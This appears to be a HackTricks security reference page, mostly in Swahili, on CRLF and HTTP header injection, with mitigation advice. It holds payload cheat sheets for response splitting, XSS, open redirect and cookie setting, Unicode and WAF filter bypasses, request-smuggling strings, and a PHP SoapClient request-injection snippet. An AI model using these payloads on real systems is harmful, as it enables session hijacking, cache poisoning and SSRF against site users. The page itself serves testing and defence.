CRLF (%0D%0A) Injection
Reading time: 13 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
CRLF
Carriage Return (CR) na Line Feed (LF), kwa pamoja wanajulikana kama CRLF, ni mfuatano wa wahusika maalum unaotumika katika itifaki ya HTTP kuashiria mwisho wa mstari au kuanza mstari mpya. Seva za wavuti na vivinjari hutumia CRLF kutofautisha kati ya vichwa vya HTTP na mwili wa jibu. Wahusika hawa hutumika kwa kawaida katika mawasiliano ya HTTP/1.1 kati ya aina mbalimbali za seva za wavuti, kama vile Apache na Microsoft IIS.
CRLF Injection Vulnerability
CRLF injection inahusisha kuingiza wahusika wa CR na LF katika pembejeo zinazotolewa na mtumiaji. Kitendo hiki kinapotosha seva, programu, au mtumiaji kufikiria mfuatano ulioingizwa kama mwisho wa jibu moja na mwanzo wa jingine. Ingawa wahusika hawa si hatari kwa asili, matumizi yao mabaya yanaweza kusababisha kugawanyika kwa majibu ya HTTP na shughuli nyingine za uhalifu.
Example: CRLF Injection in a Log File
Fikiria faili ya kumbukumbu katika paneli ya admin inayofuata muundo: IP - Time - Visited Path
. Kuingia kwa kawaida kunaweza kuonekana kama:
123.123.123.123 - 08:15 - /index.php?page=home
Mshambuliaji anaweza kutumia CRLF injection kubadilisha log hii. Kwa kuingiza wahusika wa CRLF katika ombi la HTTP, mshambuliaji anaweza kubadilisha mtiririko wa pato na kuunda entries za log. Kwa mfano, mfuatano ulioingizwa unaweza kubadilisha entry ya log kuwa:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Hapa, %0d
na %0a
zinawakilisha fomu za URL-encoded za CR na LF. Baada ya shambulio, log itakuwa naonyesha kwa njia ya kupotosha:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Mshambuliaji hivyo anaficha shughuli zao za uhalifu kwa kuifanya ionekane kana kwamba localhost (kiungo ambacho kwa kawaida kinatumiwa kuaminika ndani ya mazingira ya seva) ilifanya vitendo hivyo. Seva inatafsiri sehemu ya ombi inayoanisha na %0d%0a
kama parameter moja, wakati parameter ya restrictedaction
inachambuliwa kama ingizo lingine tofauti. Ombi lililobadilishwa kwa ufanisi linaiga amri halali ya usimamizi: /index.php?page=home&restrictedaction=edit
HTTP Response Splitting
Maelezo
HTTP Response Splitting ni udhaifu wa usalama unaotokea wakati mshambuliaji anatumia muundo wa majibu ya HTTP. Muundo huu unagawa vichwa kutoka kwa mwili kwa kutumia mfuatano maalum wa herufi, Carriage Return (CR) ikifuatiwa na Line Feed (LF), kwa pamoja huitwa CRLF. Ikiwa mshambuliaji anaweza kuingiza mfuatano wa CRLF katika kichwa cha jibu, wanaweza kwa ufanisi kubadilisha maudhui ya jibu linalofuata. Aina hii ya kubadilisha inaweza kusababisha matatizo makubwa ya usalama, hasa Cross-site Scripting (XSS).
XSS kupitia HTTP Response Splitting
- Programu inaweka kichwa maalum kama hiki:
X-Custom-Header: UserInput
- Programu inapata thamani ya
UserInput
kutoka kwa parameter ya ombi, sema "user_input". Katika hali ambazo hazina uthibitisho sahihi wa ingizo na usimbuaji, mshambuliaji anaweza kuunda payload inayojumuisha mfuatano wa CRLF, ikifuatiwa na maudhui ya uhalifu. - Mshambuliaji anaunda URL yenye 'user_input' iliyoundwa kwa njia maalum:
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- Katika URL hii,
%0d%0a%0d%0a
ni fomu ya URL-encoded ya CRLFCRLF. Inamdanganya seva kuingiza mfuatano wa CRLF, ikifanya seva itendee sehemu inayofuata kama mwili wa jibu.
- Seva inareflecti ingizo la mshambuliaji katika kichwa cha jibu, na kusababisha muundo usio kusudi wa jibu ambapo script ya uhalifu inatafsiriwa na kivinjari kama sehemu ya mwili wa jibu.
Mfano wa HTTP Response Splitting inayopelekea Redirect
Kivinjari hadi:
/%0d%0aLocation:%20http://myweb.com
Na server inajibu na kichwa:
Location: http://myweb.com
Mfano mwingine: (kutoka https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Katika Njia ya URL
Unaweza kutuma payload ndani ya njia ya URL ili kudhibiti jibu kutoka kwa seva (mfano kutoka hapa):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
HTTP Header Injection
HTTP Header Injection, mara nyingi inavyotumiwa kupitia CRLF (Carriage Return and Line Feed) injection, inaruhusu washambuliaji kuingiza vichwa vya HTTP. Hii inaweza kudhoofisha mifumo ya usalama kama vile XSS (Cross-Site Scripting) filters au SOP (Same-Origin Policy), ambayo inaweza kusababisha ufikiaji usioidhinishwa wa data nyeti, kama vile CSRF tokens, au udanganyifu wa vikao vya watumiaji kupitia kupanda kwa cookie.
Exploiting CORS via HTTP Header Injection
Mshambuliaji anaweza kuingiza vichwa vya HTTP ili kuwezesha CORS (Cross-Origin Resource Sharing), akipita vizuizi vilivyowekwa na SOP. Uvunjaji huu unaruhusu scripts kutoka kwa asili mbaya kuingiliana na rasilimali kutoka asili tofauti, na hivyo kupata data iliyo salama.
SSRF and HTTP Request Injection via CRLF
CRLF injection inaweza kutumika kuunda na kuingiza ombi jipya la HTTP. Mfano maarufu wa hili ni udhaifu katika darasa la SoapClient
la PHP, hasa ndani ya parameter ya user_agent
. Kwa kubadilisha parameter hii, mshambuliaji anaweza kuingiza vichwa vya ziada na maudhui ya mwili, au hata kuingiza ombi jipya la HTTP kabisa. Hapa chini kuna mfano wa PHP unaoonyesha uvunjaji huu:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Header Injection to Request Smuggling
Kwa maelezo zaidi kuhusu mbinu hii na matatizo yanayoweza kutokea angalia chanzo asilia.
Unaweza kuingiza vichwa muhimu ili kuhakikisha back-end inaendelea na muunganisho wazi baada ya kujibu ombi la awali:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Baada ya hapo, ombi la pili linaweza kufafanuliwa. Hali hii kwa kawaida inahusisha HTTP request smuggling, mbinu ambapo vichwa vya ziada au vipengele vya mwili vilivyoongezwa na seva baada ya kuingiza vinaweza kusababisha udanganyifu mbalimbali wa usalama.
Udhihirisho:
- Uingizaji wa Kichwa Chenye Nia Mbaya: Mbinu hii inahusisha kuharibu ombi la mtumiaji anayefuata au cache ya wavuti kwa kufafanua kichwa chenye nia mbaya. Mfano wa hii ni:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- Kuunda Kichwa kwa Ajili ya Kuharibu Mfululizo wa Majibu: Mbinu hii inahusisha kuunda kichwa ambacho, kinapounganishwa na takataka za nyuma, kinaunda ombi kamili la pili. Hii inaweza kusababisha kuharibu mfululizo wa majibu. Mfano ni:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Uingizaji wa Memcache
Memcache ni hifadhi ya funguo-thamani inayotumia protokali ya maandiko wazi. Maelezo zaidi katika:
Kwa maelezo kamili soma andika asilia
Ikiwa jukwaa linachukua data kutoka kwa ombi la HTTP na kuifanya bila kusafisha ili kutekeleza maombi kwa seva ya memcache, mshambuliaji anaweza kutumia tabia hii ku ingiza amri mpya za memcache.
Kwa mfano, katika udhaifu ulio gunduliwa awali, funguo za cache zilitumika kurudisha IP na bandari ambayo mtumiaji anapaswa kuungana nayo, na washambuliaji walikuwa na uwezo wa kuingiza amri za memcache ambazo zingeharibu cache ili kutuma maelezo ya waathirika (majina ya watumiaji na nywila zilijumuishwa) kwa seva za mshambuliaji:
.png)
Zaidi ya hayo, watafiti pia waligundua kwamba wangeweza kuondoa usawa wa majibu ya memcache ili kutuma IP na bandari za washambuliaji kwa watumiaji ambao barua pepe za washambuliaji hazijulikani:
.png)
Jinsi ya Kuzuia CRLF / Uingizaji wa Vichwa vya HTTP katika Programu za Wavuti
Ili kupunguza hatari za CRLF (Carriage Return and Line Feed) au Uingizaji wa Vichwa vya HTTP katika programu za wavuti, mikakati ifuatayo inapendekezwa:
- Epuka Kuingiza Moja kwa Moja kutoka kwa Watumiaji katika Vichwa vya Majibu: Njia salama zaidi ni kuepuka kuingiza maoni ya watumiaji moja kwa moja katika vichwa vya majibu.
- Fanya Msimbo wa Mifano ya Maalum: Ikiwa kuepuka kuingiza moja kwa moja kutoka kwa watumiaji si rahisi, hakikisha kutumia kazi iliyokusudiwa kwa ajili ya msimbo wa mifano maalum kama CR (Carriage Return) na LF (Line Feed). Praktika hii inazuia uwezekano wa uingizaji wa CRLF.
- Sasisha Lugha ya Programu: Sasisha mara kwa mara lugha ya programu inayotumiwa katika programu zako za wavuti hadi toleo la hivi karibuni. Chagua toleo ambalo kwa asili haliruhusu uingizaji wa wahusika wa CR na LF ndani ya kazi zinazotumika kuweka vichwa vya HTTP.
CHEATSHEET
1. HTTP Response Splitting
β’ /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
β’ //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
β’ /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
β’ /google.com/%2F..%0D%0AHeader-Test:test2
β’ /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
β’ /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
β’ /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
β’ %E5%98%8A = %0A = \u560a
β’ %E5%98%8D = %0D = \u560d
β’ %E5%98%BE = %3E = \u563e (>)
β’ %E5%98%BC = %3C = \u563c (<)
β’ Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Recent Vulnerabilities (2023 β 2025)
Miaka michache iliyopita imezalisha makosa kadhaa yenye athari kubwa ya CRLF/HTTP header-injection katika sehemu zinazotumiwa sana za seva na mteja. Kureproduce na kujifunza kuhusu makosa haya kwa ndani ni njia bora ya kuelewa mifumo halisi ya unyakuzi.
Mwaka | Sehemu | CVE / Ushauri | Sababu ya msingi | PoC kiashiria |
---|---|---|---|---|
2024 | RestSharp (β₯110.0.0 <110.2.0) | CVE-2024-45302 | Msaada wa AddHeader() haukufanya usafi wa CR/LF, kuruhusu ujenzi wa vichwa vingi vya ombi wakati RestSharp inatumika kama mteja wa HTTP ndani ya huduma za nyuma. Mifumo ya chini inaweza kulazimishwa kufanya SSRF au kuhamasisha ombi. | client.AddHeader("X-Foo","bar%0d%0aHost:evil") |
2024 | Refit (β€ 7.2.101) | CVE-2024-51501 | Sifa za kichwa kwenye mbinu za interface zilinakiliwa kama zilivyo katika ombi. Kwa kuingiza %0d%0a , washambuliaji wangeweza kuongeza vichwa vya kawaida au hata ombi la pili wakati Refit ilitumika na kazi za upande wa seva. | [Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")] |
2023 | Apache APISIX Dashboard | GHSA-4h3j-f5x9-r6x3 | Parameta ya redirect iliyotolewa na mtumiaji ilirudishwa katika kichwa cha Location: bila kuwekwa msimbo, ikiruhusu uelekeo wazi + uchafuzi wa cache. | /login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script> |
Makosa haya ni muhimu kwa sababu yanachochewa ndani ya msimbo wa kiwango cha programu na si tu kwenye kingo ya seva ya wavuti. Kila sehemu ya ndani inayofanya maombi ya HTTP au kuweka vichwa vya majibu lazima hivyo itekeleze uchujaji wa CR/LF.
Advanced Unicode / Control-Character Bypasses
Stacks za kisasa za WAF/rewriter mara nyingi huondoa \r
/\n
halisi lakini husahau kuhusu wahusika wengine ambao wengi wa nyuma wanachukulia kama wahitimu wa mistari. Wakati CRLF inachujwa, jaribu:
%E2%80%A8
(U+2028
β LINE SEPARATOR)%E2%80%A9
(U+2029
β PARAGRAPH SEPARATOR)%C2%85
(U+0085
β NEXT LINE)
Baadhi ya mifumo ya Java, Python na Go hubadilisha haya kuwa \n
wakati wa uchambuzi wa kichwa (ona utafiti wa Praetorian wa 2023). Changanya nao na payloads za jadi:
/%0A%E2%80%A8Set-Cookie:%20admin=true
Ikiwa chujio kinarekebisha UTF-8 kwanza, tabia ya kudhibiti inageuzwa kuwa mchakato wa kawaida wa kuandika mistari na kichwa kilichoongezwa kinakubaliwa.
WAF Evasion kupitia Hila ya Content-Encoding
Iliyojirudia (2023)
Watafiti wa Praetorian pia walionyesha kwamba kwa kuingiza:
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
into a reflected header, browsers will ignore the body supplied by the server and render attacker-supplied HTML that follows, giving stored XSS even when the applicationβs own content is inert. Kwa sababu Content-Encoding: identity
inaruhusiwa na RFC 9110, proxies nyingi za kinyume zinaipitia bila kubadilisha.
Automatic Tools
- CRLFsuite β fast active scanner written in Go.
- crlfuzz β wordlist-based fuzzer that supports Unicode newline payloads.
- crlfix β 2024 utility that patches HTTP requests generated by Go programs and can be used standalone to test internal services.
Brute-Force Detection List
References
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
- https://nvd.nist.gov/vuln/detail/CVE-2024-45302
- https://security.praetorian.com/blog/2023-unicode-newlines-bypass/
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.